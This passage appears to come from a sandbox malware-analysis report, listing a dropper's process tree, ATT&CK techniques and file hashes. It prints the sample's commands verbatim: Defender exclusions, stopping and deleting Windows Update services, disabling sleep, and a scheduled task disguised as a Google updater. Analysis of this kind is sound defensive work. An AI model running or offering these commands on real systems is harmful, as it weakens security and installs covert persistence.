1⤵
- Suspicious use of SetThreadContext
- Suspicious use of WriteProcessMemory
PID:2772

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\RegSvcs.exe
2⤵
- Suspicious use of WriteProcessMemory
PID:3768

C:\Users\Admin\AppData\Local\Temp\setup.exe
"C:\Users\Admin\AppData\Local\Temp\setup.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Drops file in Program Files directory
- Suspicious use of WriteProcessMemory
PID:4540

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4264

C:\Windows\SYSTEM32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
4⤵
- Suspicious use of WriteProcessMemory
PID:3356

C:\Windows\system32\sc.exe
sc stop UsoSvc
5⤵
- Launches sc.exe
PID:4288

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
5⤵
- Launches sc.exe
PID:4528

C:\Windows\system32\sc.exe
sc stop wuauserv
5⤵
- Launches sc.exe
PID:3188

C:\Windows\system32\sc.exe
sc stop bits
5⤵
- Launches sc.exe
PID:1256

C:\Windows\system32\sc.exe
sc stop dosvc
5⤵
- Launches sc.exe
PID:1528

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
5⤵
PID:308

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
5⤵
PID:2272

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
5⤵
- Modifies security service
PID:4896

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
5⤵
PID:652

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
5⤵
PID:4688

C:\Windows\SYSTEM32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
4⤵
- Suspicious use of WriteProcessMemory
PID:5024

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:3688

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4548

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:4496

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
5⤵
- Suspicious use of AdjustPrivilegeToken
PID:520

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#uzgegy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5028

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#dudxt#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { schtasks /run /tn "GoogleUpdateTaskMachineQC" } Else { "C:\Program Files\Google\Chrome\updater.exe" }
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2856

C:\Windows\system32\schtasks.exe
"C:\Windows\system32\schtasks.exe" /run /tn GoogleUpdateTaskMachineQC
5⤵
PID:3660

C:\Users\Admin\AppData\Local\Temp\setup1.exe
"C:\Users\Admin\AppData\Local\Temp\setup1.exe"
3⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:2160

C:\Windows\SysWOW64\schtasks.exe
"C:\Windows\System32\schtasks.exe" /Create /SC MINUTE /TN Cache-S-21-2946144819-3e21f723 /TR "C:\Users\Admin\AppData\Local\cache\MoUSO.exe"
4⤵
- Creates scheduled task(s)
PID:516

C:\Users\Admin\AppData\Local\Temp\setup2.exe
"C:\Users\Admin\AppData\Local\Temp\setup2.exe"
3⤵
- Executes dropped EXE
- Modifies registry class
- Suspicious use of WriteProcessMemory
PID:4776

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Windows\Temp\1.vbs"
4⤵
- Blocklisted process makes network request
PID:4580

C:\Windows\Temp\s.exe
"C:\Windows\Temp\s.exe"
4⤵
- Executes dropped EXE
- Loads dropped DLL
- Suspicious use of SetWindowsHookEx
PID:3160

C:\Program Files\Google\Chrome\updater.exe
"C:\Program Files\Google\Chrome\updater.exe"
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Drops file in Drivers directory
- Executes dropped EXE
- Checks BIOS information in registry
- Checks whether UAC is enabled
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious use of SetThreadContext
- Drops file in Program Files directory
PID:1048

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell Add-MpPreference -ExclusionPath @($env:UserProfile, $env:ProgramFiles) -Force
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:3356

C:\Windows\system32\cmd.exe
cmd /c sc stop UsoSvc & sc stop WaaSMedicSvc & sc stop wuauserv & sc stop bits & sc stop dosvc & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f & reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
2⤵
PID:3960

C:\Windows\system32\sc.exe
sc stop UsoSvc
3⤵
- Launches sc.exe
PID:4088

C:\Windows\system32\sc.exe
sc stop WaaSMedicSvc
3⤵
- Launches sc.exe
PID:1120

C:\Windows\system32\sc.exe
sc stop wuauserv
3⤵
- Launches sc.exe
PID:1564

C:\Windows\system32\sc.exe
sc stop bits
3⤵
- Launches sc.exe
PID:4684

C:\Windows\system32\sc.exe
sc stop dosvc
3⤵
- Launches sc.exe
PID:3136

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\UsoSvc" /f
3⤵
PID:3188

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\WaaSMedicSvc" /f
3⤵
PID:1676

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\wuauserv" /f
3⤵
PID:3324

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\bits" /f
3⤵
PID:4580

C:\Windows\system32\reg.exe
reg delete "HKLM\SYSTEM\CurrentControlSet\Services\dosvc" /f
3⤵
PID:1364

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell <#uzgegy#> IF((New-Object Security.Principal.WindowsPrincipal([Security.Principal.WindowsIdentity]::GetCurrent())).IsInRole([Security.Principal.WindowsBuiltInRole]::Administrator)) { IF([System.Environment]::OSVersion.Version -lt [System.Version]"6.2") { "schtasks /create /f /sc onlogon /rl highest /ru 'System' /tn 'GoogleUpdateTaskMachineQC' /tr '''C:\Program Files\Google\Chrome\updater.exe'''" } Else { Register-ScheduledTask -Action (New-ScheduledTaskAction -Execute 'C:\Program Files\Google\Chrome\updater.exe') -Trigger (New-ScheduledTaskTrigger -AtStartup) -Settings (New-ScheduledTaskSettingsSet -AllowStartIfOnBatteries -DisallowHardTerminate -DontStopIfGoingOnBatteries -DontStopOnIdleEnd -ExecutionTimeLimit (New-TimeSpan -Days 1000)) -TaskName 'GoogleUpdateTaskMachineQC' -User 'System' -RunLevel 'Highest' -Force; } } Else { reg add "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /v "GoogleUpdateTaskMachineQC" /t REG_SZ /f /d 'C:\Program Files\Google\Chrome\updater.exe' }
2⤵
- Drops file in System32 directory
- Modifies data under HKEY_USERS
PID:5016

C:\Windows\system32\cmd.exe
cmd /c powercfg /x -hibernate-timeout-ac 0 & powercfg /x -hibernate-timeout-dc 0 & powercfg /x -standby-timeout-ac 0 & powercfg /x -standby-timeout-dc 0
2⤵
PID:3340

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-ac 0
3⤵
PID:4576

C:\Windows\system32\powercfg.exe
powercfg /x -hibernate-timeout-dc 0
3⤵
PID:1952

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-ac 0
3⤵
PID:4072

C:\Windows\system32\powercfg.exe
powercfg /x -standby-timeout-dc 0
3⤵
PID:1324

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe tdkzljpehmtshjo
2⤵
PID:4632

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
3⤵
- Drops file in Program Files directory
PID:4720

C:\Windows\System32\Wbem\WMIC.exe
wmic PATH Win32_VideoController GET Name, VideoProcessor
4⤵
- Modifies data under HKEY_USERS
PID:4352

C:\Windows\system32\cmd.exe
cmd /c mkdir "C:\Program Files\Google\Libs\" & wmic PATH Win32_VideoController GET Name, VideoProcessor > "C:\Program Files\Google\Libs\g.log"
2⤵
- Drops file in Program Files directory
PID:4540

C:\Windows\system32\conhost.exe
C:\Windows\system32\conhost.exe liapudzdhfhganis GoySvqjslEz2cJjLp/l+rjzn6ce4jALjhSdARaKlIdOzscb8uSA4DC45OD1DpPEqiKy9RognxgdgL26xl6pHcgBuSDH82m22H2uTx/gYzO827+5kpstbfmCCWwx/haNMZTpvRN2AWJn3nj807NkQH/uc5YsiTBf742xyjDXcUT/RYfnhcLyzybIWgXn+7JafUmbaP5sh35EaxsiGFShuRY1L5Fi1uvVZnjU0an3bePXHEXYChHiocVdekR4gVKAc85wY8WomQkvNXfo8OnI8G68t0jyGDhrkDKs7kWaJz2DMj5MokwVvSUi2Y2TsrAP/8HOYVji2aTn31s7dz3/WlCN+UmM7HFUgStV0krKswFnOvNVFJHtjMrdLvilnrbVN4TalQD/4emuEzW66JneW1py/9uBWaVrEYk1NIc0Qezccu6d/kJPxD2LV5bbHMWxB
2⤵
PID:4520

C:\Users\Admin\AppData\Local\cache\MoUSO.exe
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
1⤵
- Identifies VirtualBox via ACPI registry values (likely anti-VM)
- Executes dropped EXE
- Checks BIOS information in registry
- Identifies Wine through registry keys
- Suspicious use of NtSetInformationThreadHideFromDebugger
- Suspicious behavior: EnumeratesProcesses
PID:2824

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Scheduled Task

T1053

Persistence

Modify Existing Service

T1031

Scheduled Task

T1053

Privilege Escalation

Scheduled Task

T1053

Defense Evasion

Modify Registry

T1112

Virtualization/Sandbox Evasion

T1497

Impair Defenses

T1562

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

Virtualization/Sandbox Evasion

T1497

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Web Service

T1102

Impact

Service Stop

T1489

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Program Files\Google\Chrome\updater.exe
Filesize
7.2MB

MD5
f3c2c8baf19bab9e682cd58a513defd3

SHA1
32f9e5659868786bd42e3015c27019d4d0592d80

SHA256
fb29e939369bf962ad79532b085f2716f8a95992d53154b9b2869b300ca8d5e0

SHA512
6d5733e6164a999b00277005fa8e5191f9274f4f9312a3d38330bfc46d3719eb30d5abad391c1d41346753af1600458287d1856225a17ad6932aff740129adf9

Download Submit
C:\Program Files\Google\Chrome\updater.exe
Filesize
7.2MB

MD5
f3c2c8baf19bab9e682cd58a513defd3

SHA1
32f9e5659868786bd42e3015c27019d4d0592d80

SHA256
fb29e939369bf962ad79532b085f2716f8a95992d53154b9b2869b300ca8d5e0

SHA512
6d5733e6164a999b00277005fa8e5191f9274f4f9312a3d38330bfc46d3719eb30d5abad391c1d41346753af1600458287d1856225a17ad6932aff740129adf9

Download Submit
C:\Program Files\Google\Libs\g.log
Filesize
226B

MD5
fdba80d4081c28c65e32fff246dc46cb

SHA1
74f809dedd1fc46a3a63ac9904c80f0b817b3686

SHA256
b9a385645ec2edddbc88b01e6b21362c14e9d7895712e67d375874eb7308e398

SHA512
b24a6784443c85bb56f8ae401ad4553c0955f587671ec7960bda737901d677d5e15d1a47d3674505fc98ea09ede2e5078a0aeb4481d3728e6715f3eac557cd29

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
1KB

MD5
ba230fc56b379c9401d95e1a4c97abbc

SHA1
12fcdc862e05a6804ba9c8baa118effed36e54a0

SHA256
57eac5527f3df64eca9dfa16f7c65cd500d98a68b3038a1a01c8fe17f0e5ea8c

SHA512
8af253bf8742e3ff7cf951c0b3e5ff37b1d00b77a666bfda8041a42917bef1fd40fbd742ee0b91f448c3faa602786e837468dc6abea7f1a0c4fce6ac74f99f67

Download Submit
C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\6BADA8974A10C4BD62CC921D13E43B18_28DEA62A0AE77228DD387E155AD0BA27
Filesize
408B

MD5
57069a810e2102d271cf0eafcee9fada

SHA1
ef639681bd086c4e2cb774091bc97f170da4e0ff

SHA256
3da79626b14f07ebbae8bf2bddb7cfdd32cf3321caea3beaeb6462eae403b4b5

SHA512
29009b4ed1b870441bfdff2cea36bf9a2c7eaf684ea79f7d681e3e9ad5078e83f807c8e211e14824cbe0a66f9db66bc9825f1c7f4eeca4ce540b7c36b96fdf50

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
ad5cd538ca58cb28ede39c108acb5785

SHA1
1ae910026f3dbe90ed025e9e96ead2b5399be877

SHA256
c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033

SHA512
c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
3a8228e404ad424f2e55f4bbc56e296c

SHA1
449668f1c8fca13bd9dd544d7f2c6bb8475ddc11

SHA256
e5c8571eb29d21eb32fc45ec471a5aa8dbd5070beedeaeb5071c05b13975c47a

SHA512
dc434f2eac621e67f41f061ed194fc6f82e403a6f07e995fe47fff309ff89eb65f0d159d88fb642c25f9bdaf9eecf8ed17457b33c3fc48e99173becaf75860d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
f70ec15d9f53a7d2202a90aa55eeeea1

SHA1
22d6d6dc6b216ad3fafc9c7296f9ef656c3f6eca

SHA256
9345159489b27ec2cbfa298fcaf2219a107cb635094a743c85a5826089b2a146

SHA512
98d8b34c364c95ad9bf41423847eb54184ea970cdf2a75873dd6143f7abdc7c3a7602682a61acc207973b7b7ecf5739785c60c579bbdd332fd149f53c71a8843

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.2MB

MD5
83040d28e9551b968bc8ad26980a2dfa

SHA1
14e2f83d958efc9e49873dd922cee0b388abc851

SHA256
7172cc9c94f24b2d7805d923fc31d85738fb1aa7f3fb3b4642f7acc671fad39c

SHA512
339e31dee8f9ef818b6f2abe992b08c0e64a7726535e347d5d80b2ad3f3cd12ff717981decf20e9ec3ed58e23021bf66422ced85392efd95af1ecbb2740ab135

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup.exe
Filesize
7.2MB

MD5
83040d28e9551b968bc8ad26980a2dfa

SHA1
14e2f83d958efc9e49873dd922cee0b388abc851

SHA256
7172cc9c94f24b2d7805d923fc31d85738fb1aa7f3fb3b4642f7acc671fad39c

SHA512
339e31dee8f9ef818b6f2abe992b08c0e64a7726535e347d5d80b2ad3f3cd12ff717981decf20e9ec3ed58e23021bf66422ced85392efd95af1ecbb2740ab135

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.2MB

MD5
16272dab365054b2afb5f576b6c10fd9

SHA1
2a82e0853209258a4dcaba924ce002a3ab8c1c74

SHA256
d11d62238ff82a25151b1a0d8a3432dc78869e9ec95a6d14b4fb52da40526ec4

SHA512
703c84df4f6a97bdc28179608b28bf2019afbd966648e37dada81274737c62b7c955ef725d8281369d7ebd55e55cf1d963a5b022d3247ac1b577633bef1026eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup1.exe
Filesize
1.2MB

MD5
16272dab365054b2afb5f576b6c10fd9

SHA1
2a82e0853209258a4dcaba924ce002a3ab8c1c74

SHA256
d11d62238ff82a25151b1a0d8a3432dc78869e9ec95a6d14b4fb52da40526ec4

SHA512
703c84df4f6a97bdc28179608b28bf2019afbd966648e37dada81274737c62b7c955ef725d8281369d7ebd55e55cf1d963a5b022d3247ac1b577633bef1026eb

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup2.exe
Filesize
486KB

MD5
0bc055be03fed70a2a1ff298429d228a

SHA1
abadafe14bab1d3ad51b72bef3568ef398caf0fb

SHA256
9336c26f000f7c88ef7306c3de5f931cca929ffd01b149523b906aede27abe36

SHA512
cce5c04e82b5d1e73025865e4214b71c294df90902fc08e36b4e4a901ee1d06b048a01c4470772a8e1c12e8e973ee06e25bbdd57cb238e53cd8c70d0665eacb4

Download Submit
C:\Users\Admin\AppData\Local\Temp\setup2.exe
Filesize
486KB

MD5
0bc055be03fed70a2a1ff298429d228a

SHA1
abadafe14bab1d3ad51b72bef3568ef398caf0fb

SHA256
9336c26f000f7c88ef7306c3de5f931cca929ffd01b149523b906aede27abe36

SHA512
cce5c04e82b5d1e73025865e4214b71c294df90902fc08e36b4e4a901ee1d06b048a01c4470772a8e1c12e8e973ee06e25bbdd57cb238e53cd8c70d0665eacb4

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.2MB

MD5
16272dab365054b2afb5f576b6c10fd9

SHA1
2a82e0853209258a4dcaba924ce002a3ab8c1c74

SHA256
d11d62238ff82a25151b1a0d8a3432dc78869e9ec95a6d14b4fb52da40526ec4

SHA512
703c84df4f6a97bdc28179608b28bf2019afbd966648e37dada81274737c62b7c955ef725d8281369d7ebd55e55cf1d963a5b022d3247ac1b577633bef1026eb

Download Submit
C:\Users\Admin\AppData\Local\cache\MoUSO.exe
Filesize
1.2MB

MD5
16272dab365054b2afb5f576b6c10fd9

SHA1
2a82e0853209258a4dcaba924ce002a3ab8c1c74

SHA256
d11d62238ff82a25151b1a0d8a3432dc78869e9ec95a6d14b4fb52da40526ec4

SHA512
703c84df4f6a97bdc28179608b28bf2019afbd966648e37dada81274737c62b7c955ef725d8281369d7ebd55e55cf1d963a5b022d3247ac1b577633bef1026eb

Download Submit
C:\Windows\Temp\1.vbs
Filesize
105B

MD5
74ce1fb6a82444542a6d570085e97238

SHA1
6406880b5438e3a7d776cf3b3474d66d7f589042

SHA256
25f50a703341c8aee6149af0183a0eace91e8f3cb7bb3377db30e760a0e66875

SHA512
5605548cc0973733a93bf504fe9b2a37117e0ae796970a76295bd1e9a10a6e158610429ec0cfc674ed49d37c7b54d3f1fd05e8377f94d0dc6c107cba0f7eb645

Download Submit
C:\Windows\Temp\s.exe
Filesize
547KB

MD5
e12e893cc7b71f5b5b4b086d1aac0ecd

SHA1
6ecbe8006fec181550e63c055ab391f2f9a55236

SHA256
1cc3474e8da8f145e3db4bffbb3f023a7ed1ac85998f32e240100156de240f1b

SHA512
9daa402e2001383609e83dcbf136d5ddfb47e75595612fde8d53f35e3c39e25602e9c7c5b2ba7c4bc27d6678baa4530500ef0db4691e9770ae8cbdaf55f2e583

Download Submit
C:\Windows\Temp\s.exe
Filesize
547KB

MD5
e12e893cc7b71f5b5b4b086d1aac0ecd

SHA1
6ecbe8006fec181550e63c055ab391f2f9a55236

SHA256
1cc3474e8da8f145e3db4bffbb3f023a7ed1ac85998f32e240100156de240f1b

SHA512
9daa402e2001383609e83dcbf136d5ddfb47e75595612fde8d53f35e3c39e25602e9c7c5b2ba7c4bc27d6678baa4530500ef0db4691e9770ae8cbdaf55f2e583

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Filesize
3KB

MD5
573d77d4e77a445f5db769812a0be865

SHA1
7473d15ef2d3c6894edefd472f411c8e3209a99c

SHA256
5ec3f268845a50e309ae0d80bcee4f4dd4cd1b279ab1e64b523a057c11074f1c

SHA512
af2422a9790a91cdcbe39e6ef6d17899c2cbd4159b1b71ac56f633015068d3afc678fcef34892575bf59bdf7d5914ec6070864940d44130263fe84e28abba2dc

Download Submit
C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Filesize
1KB

MD5
631f4b3792b263fdda6b265e93be4747

SHA1
1d6916097d419198bfdf78530d59d0d9f3e12d45

SHA256
4e68d2d067c5680a2e55853ac58b16f199b09f1b9e5f2174605fff18da828976

SHA512
e0280041c4ca63971ab2524f25d2047820f031c1b4aeb6021a3367297045ddf6616ffccafb54630eb07fd154571d844329ebcc34d6ce64834cb77cba373e4fbe

Download Submit
C:\Windows\system32\drivers\etc\hosts
Filesize
2KB

MD5
321788353883f4b17f6eeea4cf4f05b1

SHA1
d9408e68c7fe1de7fc029038a887409868f6aabe

SHA256
bc3788b4d9e5254aab775d48ca43faa1260a0ab95799aff49270b86a97f4c581

SHA512
fdff7892aeeebf0ce40cd63b7b8c8e47ecb4303757a09d46348f9daf56a004045d1be6b4ed2d0b3e2831f345e499d6ca876b4c23d5cc2617d67b0cf7a5e323d0

Download Submit
\Users\Admin\AppData\LocalLow\mozglue.dll
Filesize
612KB

MD5
f07d9977430e762b563eaadc2b94bbfa

SHA1
da0a05b2b8d269fb73558dfcf0ed5c167f6d3877

SHA256
4191faf7e5eb105a0f4c5c6ed3e9e9c71014e8aa39bbee313bc92d1411e9e862

SHA512
6afd512e4099643bba3fc7700dd72744156b78b7bda10263ba1f8571d1e282133a433215a9222a7799f9824f244a2bc80c2816a62de1497017a4b26d562b7eaf

Download Submit
\Users\Admin\AppData\LocalLow\nss3.dll
Filesize
1.9MB

MD5
f67d08e8c02574cbc2f1122c53bfb976

SHA1
6522992957e7e4d074947cad63189f308a80fcf2

SHA256
c65b7afb05ee2b2687e6280594019068c3d3829182dfe8604ce4adf2116cc46e

SHA512
2e9d0a211d2b085514f181852fae6e7ca6aed4d29f396348bedb59c556e39621810a9a74671566a49e126ec73a60d0f781fa9085eb407df1eefd942c18853be5

Download Submit
\Users\Admin\AppData\LocalLow\sqlite3.dll
Filesize
1.0MB

MD5
dbf4f8dcefb8056dc6bae4b67ff810ce

SHA1
bbac1dd8a07c6069415c04b62747d794736d0689

SHA256
47b64311719000fa8c432165a0fdcdfed735d5b54977b052de915b1cbbbf9d68

SHA512
b572ca2f2e4a5cc93e4fcc7a18c0ae6df888aa4c55bc7da591e316927a4b5cfcbdda6e60018950be891ff3b26f470cc5cce34d217c2d35074322ab84c32a25d1

Download Submit
memory/308-300-0x0000000000000000-mapping.dmp

Download
memory/516-269-0x0000000000000000-mapping.dmp

Download
memory/520-267-0x0000000000000000-mapping.dmp

Download
memory/652-318-0x0000000000000000-mapping.dmp

Download
memory/1048-352-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp

Filesize
13.0MB

Download
memory/1048-353-0x00007FFADD2E0000-0x00007FFADD4BB000-memory.dmp

Filesize
1.9MB

Download
memory/1048-598-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp

Filesize
13.0MB

Download
memory/1048-1057-0x00007FF72C160000-0x00007FF72CE6B000-memory.dmp

Filesize
13.0MB

Download
memory/1048-1058-0x00007FFADD2E0000-0x00007FFADD4BB000-memory.dmp

Filesize
1.9MB

Download
memory/1120-783-0x0000000000000000-mapping.dmp

Download
memory/1256-279-0x0000000000000000-mapping.dmp

Download
memory/1324-788-0x0000000000000000-mapping.dmp

Download
memory/1364-796-0x0000000000000000-mapping.dmp

Download
memory/1528-295-0x0000000000000000-mapping.dmp

Download
memory/1564-787-0x0000000000000000-mapping.dmp

Download
memory/1676-792-0x0000000000000000-mapping.dmp

Download
memory/1952-780-0x0000000000000000-mapping.dmp

Download
memory/2160-166-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-187-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-160-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-161-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-162-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-163-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-164-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-165-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-157-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-167-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-168-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-169-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-170-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-171-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-172-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-173-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-174-0x0000000000C00000-0x0000000000F55000-memory.dmp

Filesize
3.3MB

Download
memory/2160-175-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-176-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-177-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-178-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-179-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-180-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-181-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-182-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-183-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-184-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-185-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-186-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-159-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
memory/2160-188-0x00000000779B0000-0x0000000077B3E000-memory.dmp

Filesize
1.6MB

Download
